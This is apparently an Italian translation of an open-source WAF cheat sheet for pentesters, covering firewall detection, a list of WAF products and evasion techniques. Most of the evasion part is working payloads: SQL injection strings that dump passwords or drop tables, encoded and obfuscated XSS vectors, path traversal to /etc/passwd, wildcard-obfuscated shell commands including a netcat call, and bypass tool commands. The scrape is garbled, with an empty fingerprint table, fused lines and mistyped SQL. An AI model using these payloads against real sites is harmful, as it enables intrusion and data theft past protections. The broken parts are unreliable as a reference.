
Tutto sui Web Application Firewall (WAF) dal punto di vista della sicurezza! 🔥
Tutto sui web application firewall (WAF) da una prospettiva di sicurezza. 🔥
Prefazione: Questa era originariamente la mia collezione personale sui WAF. La sto rilasciando come open-source nella speranza che possa essere utile per pentester e ricercatori. Come si dice, "la comunità impara gli uni dagli altri."

Una Definizione Concisa: Un firewall è un punto di enforcement delle policy di sicurezza posizionato tra un'applicazione web e l'endpoint client. Questa funzionalità può essere implementata in software o hardware, eseguita in un appliance o in un server tipico che esegue un sistema operativo comune. Può essere un dispositivo standalone o integrato in altri componenti di rete. (Fonte: PCI DSS IS 6.6)
Un web-application firewall si trova tra un utente e un'app web e ha il compito di prevenire che attività maliziose raggiungano l'app web. Un WAF o filtra la parte maliziosa della richiesta o semplicemente la blocca.
Sentiti libero di contribuire.
<script>*</script> prevengono attacchi base di cross-site scripting.80, 443, 8000, 8080 e 8888. Tuttavia, è importante notare che un WAF può essere facilmente distribuito su qualsiasi porta che esegue un servizio HTTP. È bene enumerare prima le porte dei servizi HTTP e poi cercare i WAF.Server (es. Approach, WTS WAF).Per identificare i WAF, dobbiamo provocarli (in modo fittizio).
" or 1 = 1 --.<script>alert()</script> in barre di ricerca, moduli di contatto e altri campi di input.../../../etc/passwd a un parametro casuale alla fine dell'URL.' OR SLEEP(5) OR ' alla fine degli URL su un parametro casuale.HTTP/0.9 (HTTP/0.9 non supporta query di tipo POST).Server in base a diversi tipi di interazioni.Suggerimento: Questo metodo può essere facilmente realizzato con strumenti come HPing3 o Scapy.
Maggiori dettagli possono essere trovati in un .
Vuoi fare fingerprinting dei WAF? Vediamo come.
NOTA: Questa sezione contiene tecniche manuali di rilevamento WAF. Potresti voler passare alla prossima sezione.
## Tecniche di Evasione Diamo un'occhiata ad alcuni metodi per bypassare ed evadere i WAF.
| WAF | Impronte digitali |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
Eseguire un set di payload contro l'URL/endpoint. Alcune buone wordlist per fuzzing:
Caso: SQL Injection
Keyword Filtrate: and, or, union
Regex Probabile: preg_match('/(and|or|union)/i', $id)
union select user, password from users1 || (select user from users where user_id = 1) = 'admin'Keyword Filtrate: and, or, union, where
1 || (select user from users where user_id = 1) = 'admin'1 || (select user from users limit 1) = 'admin'Keyword Filtrate: and, or, union, where, limit
1 || (select user from users limit 1) = 'admin'1 || (select user from users group by user_id having user_id = 1) = 'admin'Keyword Filtrate: and, or, union, where, limit, group by
1 || (select user from users group by user_id having user_id = 1) = 'admin'1 || (select substr(group_concat(user_id),1,1) user from users ) = 1Keyword Filtrate: and, or, union, where, limit, group by, select
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || 1 = 1 into outfile 'result.txt'1 || substr(user,1,1) = 'a'Keyword Filtrate: and, or, union, where, limit, group by, select, '
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || user_id is not null1 || substr(user,1,1) = 0x611 || substr(user,1,1) = unhex(61)Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex
1 || substr(user,1,1) = unhex(61)1 || substr(user,1,1) = lower(conv(11,10,36))Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex, substr
1 || substr(user,1,1) = lower(conv(11,10,36))1 || lpad(user,7,1)Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex, substr, white space
1 || lpad(user,7,1)1%0b||%0blpad(user,7,1)1. Alternanza Maiuscole/Miniuscole
Standard: <script>alert()</script>
Bypassato: <ScRipT>alert()</sCRipT>
Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassato: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
Bloccato: <svG/x=">"/oNloaD=confirm()//
Bypassato: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Bloccato: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassato: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Normalizzazione Unicode
Standard: <marquee onstart=prompt()>
Offuscato: <marquee onstart=\u0070r\u06f\u006dpt()>
Bloccato: /?redir=http://google.com
Bypassato: /?redir=http://google。com (alternativa Unicode)
Bloccato: <marquee loop=1 onfinish=alert()>x
Bypassato: <marquee loop=1 onfinish=alert︵1)>x (alternativa Unicode)
Standard: ../../etc/passwd
Offuscato: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. Rappresentazione HTML
Standard: ">
Codificato: "><img src=x onerror=confirm()> (forma generica)
Codificato: "><img src=x onerror=confirm()> (riferimento numerico)
5. Codifica Mista
Offuscato:``` XSS
__6. Uso dei Commenti__
- I commenti offuscano i vettori di payload standard.
- Diversi payload hanno diversi modi di offuscamento.
__Bloccato__: `<script>alert()</script>`
__Bypassato__: `<!--><script>alert/**/()/**/</script>`
__Bloccato__: `/?id=1+union+select+1,2,3--`
__Bypassato__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
__7. Doppia Codifica__
- Spesso i filtri WAF tendono a codificare i caratteri per prevenire attacchi.
- Tuttavia, filtri mal sviluppati (senza filtri di ricorsione) possono essere bypassati con la doppia codifica.
__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
__Offuscato__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
__Standard__: `<script>alert()</script>`
__Offuscato__: `%253Cscript%253Ealert()%253C%252Fscript%253E`
__8. Offuscamento con Wildcard__
- I pattern di globbing sono utilizzati da varie utility da riga di comando per lavorare con più file.
- Possiamo modificarli per eseguire comandi di sistema.
- Specifico per vulnerabilità di esecuzione di codice remoto su sistemi linux.
__Standard__: `/bin/cat /etc/passwd`
__Offuscato__: `/???/??t /???/??ss??`
Caratteri usati: `/ ? t s`
__Standard__: `/bin/nc 127.0.0.1 1337`
__Offuscato__: `/???/n? 2130706433 1337`
Caratteri usati: `/ ? n [0-9]`
__9. Generazione Dinamica del Payload__
- Diversi linguaggi di programmazione hanno sintassi e pattern diversi per la concatenazione.
- Questo ci permette di generare efficacemente payload che possono bypassare molti filtri e regole.
__Standard__: `<script>alert()</script>`
__Offuscato__: `<script>eval('al'+'er'+'t()')</script>`
__Standard__: `/bin/cat /etc/passwd`
__Offuscato__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash permette la concatenazione di percorsi per l'esecuzione.
__Standard__: ``
__Offuscato__:```
13. Rompi Token
Gli attacchi ai tokenizer tentano di rompere la logica di suddivisione di una richiesta in token con l'aiuto dei rompi token.
I rompi token sono simboli che permettono di influenzare la corrispondenza tra un elemento di una stringa e un determinato token, e quindi bypassare la ricerca per firma.
Tuttavia, la richiesta deve comunque rimanere valida durante l'uso dei rompi token.
Caso: Token Sconosciuto per il Tokenizer
?id=‘-sqlite_version() UNION SELECT password FROM users --Caso: Contesto Sconosciuto per il Parser (Notare la parentesi senza contesto)
?id=123);DROP TABLE users --?id=1337) INTO OUTFILE ‘xxx’ --SUGGERIMENTO: Ulteriori payload possono essere creati tramite questo cheat sheet.
14. Offuscamento in Altri Formati
Caso: IIS
Richiesta Originale:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41
id2='union all select * from users--
Richiesta offuscata + Codifica URL:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
La seguente tabella mostra il supporto delle diverse codifiche dei caratteri sui sistemi testati (quando i messaggi potevano essere offuscati utilizzandole):
SUGGERIMENTO: Puoi utilizzare questo piccolo script Python per convertire i tuoi payload e parametri nelle codifiche desiderate.
| Target | Codifiche | Note |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
Di seguito è riportato un confronto tra diversi server e le loro interpretazioni relative:
| Ambiente | Interpretazione del Parametro | Esempio |
| ASP/IIS | Concatenazione tramite virgola | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | Il primo parametro è risultante | par1=val1 |
| ASP.NET/IIS | Concatenazione tramite virgola | par1=val1,val2 |
| PHP/Zeus | L'ultimo parametro è risultante | par1=val2 |
| PHP/Apache | L'ultimo parametro è risultante | par1=val2 |
| JSP, Servlet/Jetty | Il primo parametro è risultante | par1=val1 |
| IBM Lotus Domino | Il primo parametro è risultante | par1=val1 |
| IBM HTTP Server | L'ultimo parametro è risultante | par1=val2 |
| mod_perl, libapeq2/Apache | Il primo parametro è risultante | par1=val1 |
| Oracle Application Server 10G | Il primo parametro è risultante | par1=val1 |
| Perl CGI/Apache | Il primo parametro è risultante | par1=val1 |
| Python/Zope | Il primo parametro è risultante | par1=val1 |
| IceWarp | Viene restituito un array | ['val1','val2'] |
| AXIS 2400 | L'ultimo parametro è risultante | par1=val2 |
| DBMan | Concatenazione tramite due tilde | par1=val1~~val2 |
| mod-wsgi (Python)/Apache |
Payload di Esempio: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
URL di Query di Esempio: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
SUGGERIMENTO: Un esempio reale di come creare bypass utilizzando questo metodo può essere trovato qui.
Richiesta di esempio:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Quando il sito viene caricato, verrà codificato nella codifica UTF-32 che abbiamo impostato, e
quindi, poiché la codifica di output della pagina è UTF-8, verrà visualizzato come: "<script>alert (1) </ script> che attiverà XSS.
Payload finale codificato nell'URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
#### Null Bytes:
- I byte nulli sono comunemente usati come terminatore di stringa.
- Questo può aiutarci a eludere molti filtri delle applicazioni web nel caso in cui non stiano filtrando i byte nulli.
Esempi di payload:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Offuscato: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>
%, //, !, ?, ecc.Esempi:
<// style=x:expression\28write(1)\29> - Funziona fino a IE7 (Fonte)<!--[if]><script>alert(1)</script --> - Funziona fino a IE9 (Riferimento)<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funziona in IE7 (Riferimento)<%div%20style=xss:expression(prompt(1))> - Funziona fino a IE70x00 a 0xFF e ottenere il set di separatori per ogni browser.Ecco una lista compilata di separatori da @Masato Kinugawa:
0x09, 0x0B, 0x0C, 0x20, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x09, 0x20, 0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3BUn esempio di payload esotico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
### Utilizzo di Strutture Sintattiche Equivalenti Atipiche
- Questo metodo mira a trovare una modalità di sfruttamento non considerata dagli sviluppatori del WAF.
- Alcuni casi d'uso possono essere portati a livelli critici in cui il WAF non riesce affatto a rilevare i payload.
- Questo payload viene accettato ed eseguito dal server dopo aver attraversato il firewall.
Alcune parole chiave comuni trascurate dagli sviluppatori del WAF:
- Funzioni JavaScript:
- `window`
- `parent`
- `this`
- `self`
- Attributi dei tag:
- `onwheel`
- `ontoggle`
- `onfilterchange`
- `onbeforescriptexecute`
- `ondragstart`
- `onauxclick`
- `onpointerover`
- `srcdoc`
- Operatori SQL
- `lpad`
- `field`
- `bit_count`
Esempi di Payload:
- __Caso:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
Molte alternative al JavaScript originale possono essere utilizzate, ovvero:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> Tuttavia il problema nell'uso delle suddette strutture sintattiche sono i payload lunghi che potrebbero essere rilevati dal WAF o bloccati dal CSP. Tuttavia, non si sa mai, potrebbero anche bypassare il CSP (se presente). ;)
### Abusare dei Cipher SSL/TLS:
- Spesso i server accettano connessioni da vari cipher e versioni SSL/TLS.
- Utilizzare un cipher per inizializzare una connessione al server che non è supportato dal WAF può fare al caso nostro.
#### Tecnica:
- Scoprire i cipher supportati dal firewall (di solito la documentazione del fornitore WAF ne parla).
- Trovare i cipher supportati dal server (strumenti come [SSLScan](https://github.com/rbsec/sslscan) aiutano qui).
- Se si trova un cipher specifico non supportato dal WAF ma dal server, voilà!
- Avviare una nuova connessione al server con quel cipher specifico dovrebbe introdurre il nostro payload.
> __Strumento__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
Gli strumenti CLI come cURL possono essere molto utili per i PoCs:``` curl --ciphers -G -d
### Abusare del limite WAF sulle risposte HTTP
#### Metodo
- Spesso, i WAF hanno un limite sulla _quantità_ di richiesta HTTP che devono gestire.
- Inviando una richiesta HTTP con una dimensione __maggiore del limite__, possiamo eludere completamente i WAF.
#### Tecnica
- Utilizzare un approccio per tentativi ed errori per scoprire quanta parte della richiesta HTTP viene ispezionata dal WAF (di solito in multipli di 4 kB).
- Una volta fatto, attaccare il payload alla richiesta dopo aver riempito il limite con dati spazzatura.
> Una tecnica simile è stata utilizzata per [bypassare il WAF di Google Cloud Platform](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).
### Abusare della cronologia DNS:
- Spesso i vecchi record DNS storici forniscono informazioni sulla posizione del sito dietro il WAF.
- L'obiettivo è ottenere la posizione del sito, in modo da poter instradare le nostre richieste direttamente al sito e non attraverso il WAF.
> __SUGGERIMENTO:__ Alcuni servizi online come [IP History](http://www.iphistory.ch/en/) e [DNS Trails](https://securitytrails.com/dns-trails) vengono in soccorso durante il processo di ricognizione.
__Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
---
[Read more](https://github.com/0xinfection/awesome-waf)
|
| Viene restituito un array |
| ARRAY(0x8b9058c) |